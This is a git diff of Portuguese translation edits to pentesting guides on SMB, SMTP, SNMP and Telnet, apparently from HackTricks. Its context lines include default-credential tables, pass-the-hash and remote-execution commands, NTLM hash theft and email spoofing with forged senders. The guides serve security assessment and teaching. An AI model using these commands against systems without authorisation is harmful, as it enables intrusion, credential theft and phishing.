-Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, o que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente seguros.
+Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, o que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente protegidos.
```bash
enum4linux -a target_ip
```
@@ -81,15 +81,15 @@ searchsploit microsoft smb
```
### **Credenciais** Possíveis
-| **Nome(s) de usuário** | **Senhas comuns** |
-| ---------------------- | --------------------------------------- |
-| _(em branco)_ | _(em branco)_ |
-| convidado | _(em branco)_ |
+| **Nome(s) de usuário** | **Senhas comuns** |
+| ---------------------- | ---------------------------------------- |
+| _(em branco)_ | _(em branco)_ |
+| convidado | _(em branco)_ |
| Administrador, admin | _(em branco)_, senha, administrador, admin |
-| arcserve | arcserve, backup |
-| tivoli, tmersrvd | tivoli, tmersrvd, admin |
-| backupexec, backup | backupexec, backup, arcada |
-| teste, lab, demo | senha, teste, lab, demo |
+| arcserve | arcserve, backup |
+| tivoli, tmersrvd | tivoli, tmersrvd, admin |
+| backupexec, backup | backupexec, backup, arcada |
+| teste, lab, demo | senha, teste, lab, demo |
### Força Bruta
@@ -121,7 +121,7 @@ rpcclient -U "username%passwd" #With creds
```
### Enumerar Usuários, Grupos e Usuários Conectados
-Essas informações já devem estar sendo coletadas do enum4linux e enum4linux-ng.
+Essas informações já devem ter sido coletadas do enum4linux e enum4linux-ng.
```bash
crackmapexec smb 10.10.10.10 --users [-u -p ]
crackmapexec smb 10.10.10.10 --groups [-u -p ]
@@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md
### Listar pastas compartilhadas
-É sempre recomendado verificar se você pode acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**.
+É sempre recomendável verificar se você pode acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**.
```bash
smbclient --no-pass -L // # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@@ -293,7 +293,7 @@ Comandos:
- mask: especifica a máscara que é usada para filtrar os arquivos dentro do diretório (por exemplo, "" para todos os arquivos)
- recurse: ativa a recursão (padrão: desligado)
-- prompt: desativa a solicitação de nomes de arquivos (padrão: ligado)
+- prompt: desativa o aviso para nomes de arquivos (padrão: ligado)
- mget: copia todos os arquivos que correspondem à máscara do host para a máquina cliente
(_Informação da página de manual do smbclient_)
@@ -304,7 +304,7 @@ Comandos:
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
-- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) aranha.
+- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
- `-M spider_plus [--share ]`
- `--pattern txt`
```bash
@@ -313,10 +313,10 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
Especialmente interessantes nas compartilhamentos são os arquivos chamados **`Registry.xml`** pois **podem conter senhas** para usuários configurados com **autologon** via Política de Grupo. Ou arquivos **`web.config`** pois contêm credenciais.
> [!NOTE]
-> O **compartilhamento SYSVOL** é **legível** por todos os usuários autenticados no domínio. Nele você pode **encontrar** muitos scripts diferentes de batch, VBScript e PowerShell.\
+> O **compartilhamento SYSVOL** é **legível** por todos os usuários autenticados no domínio. Nele você pode **encontrar** muitos scripts diferentes em batch, VBScript e PowerShell.\
> Você deve **verificar** os **scripts** dentro dele, pois pode **encontrar** informações sensíveis, como **senhas**.
-## Ler Registro
+## Ler o Registro
Você pode ser capaz de **ler o registro** usando algumas credenciais descobertas. Impacket **`reg.py`** permite que você tente:
```bash
@@ -388,19 +388,19 @@ No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
-Usando **o parâmetro** `-k` você pode se autenticar contra **kerberos** em vez de **NTLM**
+Usando **o parâmetro** `-k` você pode autenticar contra **kerberos** em vez de **NTLM**
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
-Execute furtivamente um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **porta 135.**\
-Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/
+Execute stealthily um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **porta 135.**\
+No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@] #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
-Usando **parameter**`-k` você pode se autenticar contra **kerberos** em vez de **NTLM**
+Usando **parameter** `-k` você pode se autenticar contra **kerberos** em vez de **NTLM**.
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]
@@ -410,7 +410,7 @@ Usando **parameter**`-k` você pode se autenticar contra **kerberos** em vez de
### [AtExec](../windows-hardening/ntlm/atexec.md)
Execute comandos via o Agendador de Tarefas (usando _\pipe\atsvc_ via SMB).\
-Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/
+No **kali**, está localizado em /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@] "command"
./atexec.py -hashes administrator@10.10.10.175 "whoami"
@@ -452,7 +452,7 @@ Que são usadas por alguns navegadores e ferramentas (como Skype)
## Roubo de NTLM
-Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como Responder. O hash pode então ser quebrado offline ou usado em um [ataque de retransmissão SMB](pentesting-smb.md#smb-relay-attack).
+Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como o Responder. O hash pode então ser quebrado offline ou usado em um [ataque de retransmissão SMB](pentesting-smb.md#smb-relay-attack).
[Veja: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
@@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
-https://book.hacktricks.xyz/pentesting/pentesting-smb
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux
diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md
index 3cb64d8ca..bb3fdc9ae 100644
--- a/src/network-services-pentesting/pentesting-smb/README.md
+++ b/src/network-services-pentesting/pentesting-smb/README.md
@@ -12,7 +12,7 @@ O _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* é um protocolo de s
Tecnicamente, a Porta 139 é referida como ‘NBT over IP’, enquanto a Porta 445 é identificada como ‘SMB over IP’. O acrônimo **SMB** significa ‘**Server Message Blocks**’, que também é modernamente conhecido como **Common Internet File System (CIFS)**. Como um protocolo de rede da camada de aplicação, SMB/CIFS é utilizado principalmente para permitir o acesso compartilhado a arquivos, impressoras, portas seriais e facilitar várias formas de comunicação entre nós em uma rede.
-Por exemplo, no contexto do Windows, é destacado que o SMB pode operar diretamente sobre TCP/IP, eliminando a necessidade de NetBIOS sobre TCP/IP, através da utilização da porta 445. Por outro lado, em sistemas diferentes, a utilização da porta 139 é observada, indicando que o SMB está sendo executado em conjunto com NetBIOS sobre TCP/IP.
+Por exemplo, no contexto do Windows, é destacado que o SMB pode operar diretamente sobre TCP/IP, eliminando a necessidade de NetBIOS sobre TCP/IP, através da utilização da porta 445. Por outro lado, em diferentes sistemas, a utilização da porta 139 é observada, indicando que o SMB está sendo executado em conjunto com NetBIOS sobre TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
@@ -32,7 +32,7 @@ O acesso ao compartilhamento IPC$ pode ser obtido através de uma sessão nula a
- Informações sobre os compartilhamentos SMB disponíveis
- A política de segurança do sistema efetiva
-Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, o que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente protegidos.
+Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. O `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, que é essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente protegidos.
```bash
enum4linux -a target_ip
```
@@ -81,15 +81,15 @@ searchsploit microsoft smb
```
### **Credenciais** Possíveis
-| **Nome(s) de usuário** | **Senhas comuns** |
-| ---------------------- | ---------------------------------------- |
-| _(em branco)_ | _(em branco)_ |
-| convidado | _(em branco)_ |
+| **Nome(s) de usuário** | **Senhas comuns** |
+| ---------------------- | --------------------------------------- |
+| _(em branco)_ | _(em branco)_ |
+| convidado | _(em branco)_ |
| Administrador, admin | _(em branco)_, senha, administrador, admin |
-| arcserve | arcserve, backup |
-| tivoli, tmersrvd | tivoli, tmersrvd, admin |
-| backupexec, backup | backupexec, backup, arcada |
-| teste, lab, demo | senha, teste, lab, demo |
+| arcserve | arcserve, backup |
+| tivoli, tmersrvd | tivoli, tmersrvd, admin |
+| backupexec, backup | backupexec, backup, arcada |
+| teste, lab, demo | senha, teste, lab, demo |
### Força Bruta
@@ -169,7 +169,7 @@ rpcclient-enumeration.md
### Listar pastas compartilhadas
-É sempre recomendável verificar se você pode acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**.
+É sempre recomendado verificar se você pode acessar algo, se você não tiver credenciais, tente usar **null** **credentials/guest user**.
```bash
smbclient --no-pass -L // # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@@ -313,7 +313,7 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
Especialmente interessantes nas compartilhamentos são os arquivos chamados **`Registry.xml`** pois **podem conter senhas** para usuários configurados com **autologon** via Política de Grupo. Ou arquivos **`web.config`** pois contêm credenciais.
> [!NOTE]
-> O **compartilhamento SYSVOL** é **legível** por todos os usuários autenticados no domínio. Nele você pode **encontrar** muitos scripts diferentes de batch, VBScript e PowerShell.\
+> O **compartilhamento SYSVOL** é **legível** por todos os usuários autenticados no domínio. Nele você pode **encontrar** muitos scripts diferentes em batch, VBScript e PowerShell.\
> Você deve **verificar** os **scripts** dentro dele, pois pode **encontrar** informações sensíveis, como **senhas**.
## Ler Registro
@@ -330,7 +330,7 @@ A **configuração padrão de** um **servidor Samba** geralmente está localizad
| **Configuração** | **Descrição** |
| -------------------------- | ----------------------------------------------------------------- |
-| `browseable = yes` | Permitir listar compartilhamentos disponíveis no compartilhamento atual? |
+| `browseable = yes` | Permitir listar os compartilhamentos disponíveis no compartilhamento atual? |
| `read only = no` | Proibir a criação e modificação de arquivos? |
| `writable = yes` | Permitir que os usuários criem e modifiquem arquivos? |
| `guest ok = yes` | Permitir conectar-se ao serviço sem usar uma senha? |
@@ -393,14 +393,14 @@ Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **N
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Execute stealthily um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **port 135.**\
-Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/
+No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@] #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
-Usando **parameter**`-k` você pode autenticar contra **kerberos** em vez de **NTLM**
+Usando **parameter** `-k` você pode se autenticar contra **kerberos** em vez de **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]
@@ -452,7 +452,7 @@ Que são usadas por alguns navegadores e ferramentas (como Skype)
## Roubo de NTLM
-Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como Responder. O hash pode então ser quebrado offline ou usado em um [ataque de retransmissão SMB](#smb-relay-attack).
+Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como o Responder. O hash pode então ser quebrado offline ou usado em um [ataque de retransmissão SMB](#smb-relay-attack).
[Veja: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
@@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
-https://book.hacktricks.xyz/pentesting/pentesting-smb
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux
diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md
index 4c2a59e50..c5e9bbf7a 100644
--- a/src/network-services-pentesting/pentesting-smtp/README.md
+++ b/src/network-services-pentesting/pentesting-smtp/README.md
@@ -6,7 +6,7 @@
O **Simple Mail Transfer Protocol (SMTP)** é um protocolo utilizado dentro da suíte TCP/IP para o **envio e recebimento de e-mails**. Devido às suas limitações em enfileirar mensagens no lado do destinatário, o SMTP é frequentemente empregado juntamente com **POP3 ou IMAP**. Esses protocolos adicionais permitem que os usuários armazenem mensagens em uma caixa de correio no servidor e as baixem periodicamente.
-Na prática, é comum que **programas de e-mail** utilizem **SMTP para enviar e-mails**, enquanto utilizam **POP3 ou IMAP para recebê-los**. Em sistemas baseados em Unix, **sendmail** se destaca como o servidor SMTP mais frequentemente usado para fins de e-mail. O pacote comercial conhecido como Sendmail abrange um servidor POP3. Além disso, **Microsoft Exchange** fornece um servidor SMTP e oferece a opção de incluir suporte a POP3.
+Na prática, é comum que **programas de e-mail** utilizem **SMTP para enviar e-mails**, enquanto utilizam **POP3 ou IMAP para recebê-los**. Em sistemas baseados em Unix, o **sendmail** se destaca como o servidor SMTP mais frequentemente usado para fins de e-mail. O pacote comercial conhecido como Sendmail abrange um servidor POP3. Além disso, o **Microsoft Exchange** fornece um servidor SMTP e oferece a opção de incluir suporte a POP3.
**Porta padrão:** 25,465(ssl),587(ssl)
```
@@ -17,7 +17,7 @@ PORT STATE SERVICE REASON VERSION
Se você tiver a oportunidade de **fazer a vítima lhe enviar um email** (via formulário de contato da página da web, por exemplo), faça isso porque **você pode aprender sobre a topologia interna** da vítima vendo os cabeçalhos do email.
-Você também pode obter um email de um servidor SMTP tentando **enviar para esse servidor um email para um endereço inexistente** (porque o servidor enviará ao atacante um email NDN). Mas, certifique-se de que você envie o email de um endereço permitido (verifique a política SPF) e que você possa receber mensagens NDN.
+Você também pode obter um email de um servidor SMTP tentando **enviar para esse servidor um email para um endereço inexistente** (porque o servidor enviará para o atacante um email NDN). Mas, certifique-se de que você envie o email de um endereço permitido (verifique a política SPF) e que você possa receber mensagens NDN.
Você também deve tentar **enviar conteúdos diferentes porque pode encontrar informações mais interessantes** nos cabeçalhos, como: `X-Virus-Scanned: by av.domain.com`\
Você deve enviar o arquivo de teste EICAR.\
@@ -148,11 +148,11 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M -u -t
Nmap: nmap --script smtp-enum-users
```
-## Relatórios DSN
+## DSN Reports
-**Relatórios de Notificação de Status de Entrega**: Se você enviar um **email** para uma organização para um **endereço inválido**, a organização notificará que o endereço era inválido enviando um **email de volta para você**. Os **cabeçalhos** do email retornado **contêm** possíveis **informações sensíveis** (como o endereço IP dos serviços de email que interagiram com os relatórios ou informações de software antivírus).
+**Relatórios de Notificação de Status de Entrega**: Se você enviar um **email** para uma organização para um **endereço inválido**, a organização notificará que o endereço era inválido enviando um **email de volta para você**. **Os cabeçalhos** do email retornado **contêm** possíveis **informações sensíveis** (como o endereço IP dos serviços de email que interagiram com os relatórios ou informações do software antivírus).
-## [Comandos](smtp-commands.md)
+## [Commands](smtp-commands.md)
### Enviando um Email do console linux
```bash
@@ -219,7 +219,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
## SMTP Smuggling
-A vulnerabilidade de SMTP Smuggling permitiu contornar todas as proteções SMTP (consulte a próxima seção para mais informações sobre as proteções). Para mais informações sobre SMTP Smuggling, consulte:
+A vulnerabilidade de SMTP Smuggling permitiu contornar todas as proteções SMTP (verifique a próxima seção para mais informações sobre as proteções). Para mais informações sobre SMTP Smuggling, consulte:
{{#ref}}
smtp-smuggling.md
@@ -262,7 +262,7 @@ Você geralmente notará **no final de cada política SPF** algo como: **\~all**
Cada mecanismo dentro da política pode ser prefixado por um dos quatro qualificadores para definir o resultado pretendido:
-- **`+`**: Corresponde a um resultado PASS. Por padrão, os mecanismos assumem este qualificativo, tornando `+mx` equivalente a `mx`.
+- **`+`**: Corresponde a um resultado PASS. Por padrão, os mecanismos assumem este qualificador, tornando `+mx` equivalente a `mx`.
- **`?`**: Representa um resultado NEUTRAL, tratado de forma semelhante a NONE (sem política específica).
- **`~`**: Denota SOFTFAIL, servindo como um meio-termo entre NEUTRAL e FAIL. E-mails que atendem a esse resultado são tipicamente aceitos, mas marcados de acordo.
- **`-`**: Indica FAIL, sugerindo que o e-mail deve ser rejeitado.
@@ -286,7 +286,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
-Tradicionalmente, era possível falsificar qualquer nome de domínio que não tivesse um registro SPF correto/qualquer. **Hoje em dia**, se **o email** vem de um **domínio sem um registro SPF válido**, provavelmente será **rejeitado/marcado como não confiável automaticamente**.
+Tradicionalmente, era possível falsificar qualquer nome de domínio que não tivesse um registro SPF correto ou nenhum registro. **Hoje em dia**, se um **email** vem de um **domínio sem um registro SPF válido**, provavelmente será **rejeitado/marcado como não confiável automaticamente**.
Para verificar o SPF de um domínio, você pode usar ferramentas online como: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
@@ -330,18 +330,18 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| rua | URI de relatório de relatórios agregados | rua=mailto:aggrep@example.com |
| p | Política para o domínio organizacional | p=quarantine |
| sp | Política para subdomínios do OD | sp=reject |
-| adkim | Modo de alinhamento para DKIM | adkim=s |
-| aspf | Modo de alinhamento para SPF | aspf=r |
+| adkim | Modo de alinhamento para DKIM | adkim=s |
+| aspf | Modo de alinhamento para SPF | aspf=r |
### **E os Subdomínios?**
**De** [**aqui**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Você precisa ter registros SPF separados para cada subdomínio do qual deseja enviar e-mails.\
-O seguinte foi originalmente postado em openspf.org, que costumava ser um ótimo recurso para esse tipo de coisa.
+O seguinte foi originalmente postado no openspf.org, que costumava ser um ótimo recurso para esse tipo de coisa.
-> A Pergunta Demon: E os subdomínios?
+> A Pergunta Demoníaca: E os subdomínios?
>
-> Se eu receber um e-mail de pielovers.demon.co.uk, e não houver dados SPF para pielovers, devo voltar um nível e testar SPF para demon.co.uk? Não. Cada subdomínio na Demon é um cliente diferente, e cada cliente pode ter sua própria política. Não faria sentido que a política da Demon se aplicasse a todos os seus clientes por padrão; se a Demon quiser fazer isso, pode configurar registros SPF para cada subdomínio.
+> Se eu receber um e-mail de pielovers.demon.co.uk, e não houver dados SPF para pielovers, devo voltar um nível e testar SPF para demon.co.uk? Não. Cada subdomínio no Demon é um cliente diferente, e cada cliente pode ter sua própria política. Não faria sentido que a política do Demon se aplicasse a todos os seus clientes por padrão; se o Demon quiser fazer isso, pode configurar registros SPF para cada subdomínio.
>
> Portanto, o conselho para os editores de SPF é o seguinte: você deve adicionar um registro SPF para cada subdomínio ou nome de host que tenha um registro A ou MX.
>
@@ -351,13 +351,13 @@ Isso faz sentido - um subdomínio pode muito bem estar em uma localização geog
### **Relay Aberto**
-Quando os e-mails são enviados, garantir que não sejam marcados como spam é crucial. Isso é frequentemente alcançado através do uso de um **servidor de relay que é confiável pelo destinatário**. No entanto, um desafio comum é que os administradores podem não estar totalmente cientes de quais **intervalos de IP são seguros para permitir**. Essa falta de compreensão pode levar a erros na configuração do servidor SMTP, um risco frequentemente identificado em avaliações de segurança.
+Quando os e-mails são enviados, garantir que não sejam marcados como spam é crucial. Isso é frequentemente alcançado através do uso de um **servidor de relay que é confiável pelo destinatário**. No entanto, um desafio comum é que os administradores podem não estar totalmente cientes de quais **intervalos de IP são seguros para permitir**. Essa falta de entendimento pode levar a erros na configuração do servidor SMTP, um risco frequentemente identificado em avaliações de segurança.
Uma solução alternativa que alguns administradores usam para evitar problemas de entrega de e-mails, especialmente em relação a comunicações com clientes potenciais ou em andamento, é **permitir conexões de qualquer endereço IP**. Isso é feito configurando o parâmetro `mynetworks` do servidor SMTP para aceitar todos os endereços IP, como mostrado abaixo:
```bash
mynetworks = 0.0.0.0/0
```
-Para verificar se um servidor de e-mail é um open relay (o que significa que ele pode encaminhar e-mails de qualquer fonte externa), a ferramenta `nmap` é comumente usada. Ela inclui um script específico projetado para testar isso. O comando para realizar uma varredura detalhada em um servidor (por exemplo, com IP 10.10.10.10) na porta 25 usando `nmap` é:
+Para verificar se um servidor de email é um open relay (o que significa que ele pode encaminhar emails de qualquer fonte externa), a ferramenta `nmap` é comumente usada. Ela inclui um script específico projetado para testar isso. O comando para realizar uma varredura detalhada em um servidor (por exemplo, com IP 10.10.10.10) na porta 25 usando `nmap` é:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@@ -383,7 +383,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE
```
> [!WARNING]
> Se você receber algum **erro ao usar a biblioteca dkim python** ao analisar a chave, sinta-se à vontade para usar a seguinte.\
-> **NOTA**: Esta é apenas uma solução rápida para fazer verificações rápidas em casos onde, por algum motivo, a chave privada openssl **não pode ser analisada pelo dkim**.
+> **NOTA**: Esta é apenas uma correção rápida para fazer verificações rápidas em casos onde, por algum motivo, a chave privada openssl **não pode ser analisada pelo dkim**.
>
> ```
> -----BEGIN RSA PRIVATE KEY-----
@@ -409,7 +409,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE
{{#tab name="PHP"}}
# Isso enviará uma mensagem não assinada
-mail("your_email@gmail.com", "Assunto do Teste!", "hey! Este é um teste", "From: administrator@victim.com");
+mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
{{#endtab}}
@@ -520,7 +520,7 @@ Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
-https://book.hacktricks.xyz/pentesting/pentesting-smtp
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab
diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md
index e6e3e19c6..22254bc39 100644
--- a/src/network-services-pentesting/pentesting-snmp/README.md
+++ b/src/network-services-pentesting/pentesting-snmp/README.md
@@ -11,11 +11,11 @@ PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
```
> [!NOTE]
-> O SNMP também usa a porta **162/UDP** para **traps**. Estes são pacotes de dados **enviados do servidor SNMP para o cliente sem serem explicitamente solicitados**.
+> O SNMP também usa a porta **162/UDP** para **traps**. Estes são **pacotes de dados enviados do servidor SNMP para o cliente sem serem explicitamente solicitados**.
### MIB
-Para garantir que o acesso SNMP funcione entre fabricantes e com diferentes combinações cliente-servidor, a **Management Information Base (MIB)** foi criada. MIB é um **formato independente para armazenar informações de dispositivos**. Um MIB é um **arquivo de texto** no qual todos os **objetos SNMP** consultáveis de um dispositivo estão listados em uma hierarquia de árvore **padronizada**. Ele contém pelo menos um **`Object Identifier` (`OID`)**, que, além do **endereço único** necessário e um **nome**, também fornece informações sobre o tipo, direitos de acesso e uma descrição do respectivo objeto.\
+Para garantir que o acesso SNMP funcione entre fabricantes e com diferentes combinações cliente-servidor, a **Management Information Base (MIB)** foi criada. MIB é um **formato independente para armazenar informações de dispositivos**. Um MIB é um arquivo **texto** no qual todos os **objetos SNMP** consultáveis de um dispositivo estão listados em uma hierarquia de árvore **padronizada**. Ele contém pelo menos um `Object Identifier` (`OID`), que, além do **endereço único** necessário e um **nome**, também fornece informações sobre o tipo, direitos de acesso e uma descrição do respectivo objeto.\
Os arquivos MIB são escritos no formato de texto ASCII baseado em `Abstract Syntax Notation One` (`ASN.1`). As **MIBs não contêm dados**, mas explicam **onde encontrar quais informações** e como elas se parecem, quais valores retornam para o OID específico ou qual tipo de dado é utilizado.
### OIDs
@@ -29,7 +29,7 @@ Além disso, os fornecedores têm a liberdade de estabelecer ramificações priv
.png>)
Você pode **navegar** por uma **árvore OID** na web aqui: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ou **ver o que um OID significa** (como `1.3.6.1.2.1.1`) acessando [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
-Existem alguns **OIDs bem conhecidos** como os dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que referenciam variáveis do Simple Network Management Protocol (SNMP) definidas no MIB-2. E a partir dos **OIDs pendentes deste** você pode obter alguns dados interessantes do host (dados do sistema, dados da rede, dados de processos...)
+Existem alguns **OIDs bem conhecidos** como os que estão dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que referenciam variáveis do Simple Network Management Protocol (SNMP) definidas no MIB-2. E a partir dos **OIDs pendentes deste** você pode obter alguns dados interessantes do host (dados do sistema, dados da rede, dados de processos...)
### **Exemplo de OID**
@@ -73,7 +73,7 @@ Existem 2 versões importantes do SNMP:
### Community Strings
-Como mencionado anteriormente, **para acessar as informações salvas no MIB você precisa conhecer a community string nas versões 1 e 2/2c e as credenciais na versão 3.**\
+Como mencionado antes, **para acessar as informações salvas no MIB você precisa conhecer a community string nas versões 1 e 2/2c e as credenciais na versão 3.**\
Existem **2 tipos de community strings**:
- **`public`** principalmente funções **somente leitura**
@@ -121,7 +121,7 @@ nmap --script "snmp* and not snmp-brute"
braa @:.1.3.6.* #Bruteforce specific OID
```
-Graças a consultas estendidas (download-mibs), é possível enumerar ainda mais sobre o sistema com o seguinte comando:
+Graças às consultas estendidas (download-mibs), é possível enumerar ainda mais sobre o sistema com o seguinte comando:
```bash
snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
@@ -216,7 +216,7 @@ Você pode usar _**NetScanTools**_ para **modificar valores**. Você precisará
## Spoofing
-Se houver um ACL que permite apenas alguns IPs consultar o serviço SNMP, você pode falsificar um desses endereços dentro do pacote UDP e monitorar o tráfego.
+Se houver uma ACL que permite apenas alguns IPs consultar o serviço SMNP, você pode falsificar um desses endereços dentro do pacote UDP e monitorar o tráfego.
## Examinar arquivos de configuração SNMP
@@ -236,7 +236,7 @@ Description: Notes for SNMP
Note: |
SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...).
-https://book.hacktricks.xyz/pentesting/pentesting-snmp
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: SNMP Check
diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md
index 6a62cd3f2..93c409f31 100644
--- a/src/network-services-pentesting/pentesting-telnet.md
+++ b/src/network-services-pentesting/pentesting-telnet.md
@@ -25,7 +25,7 @@ O script `telnet-ntlm-info.nse` obterá informações NTLM (versões do Windows)
Do [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): No Protocolo TELNET existem várias "**opções**" que serão sancionadas e podem ser usadas com a estrutura "**DO, DON'T, WILL, WON'T**" para permitir que um usuário e um servidor concordem em usar um conjunto mais elaborado (ou talvez apenas diferente) de convenções para sua conexão TELNET. Essas opções podem incluir a mudança do conjunto de caracteres, o modo de eco, etc.
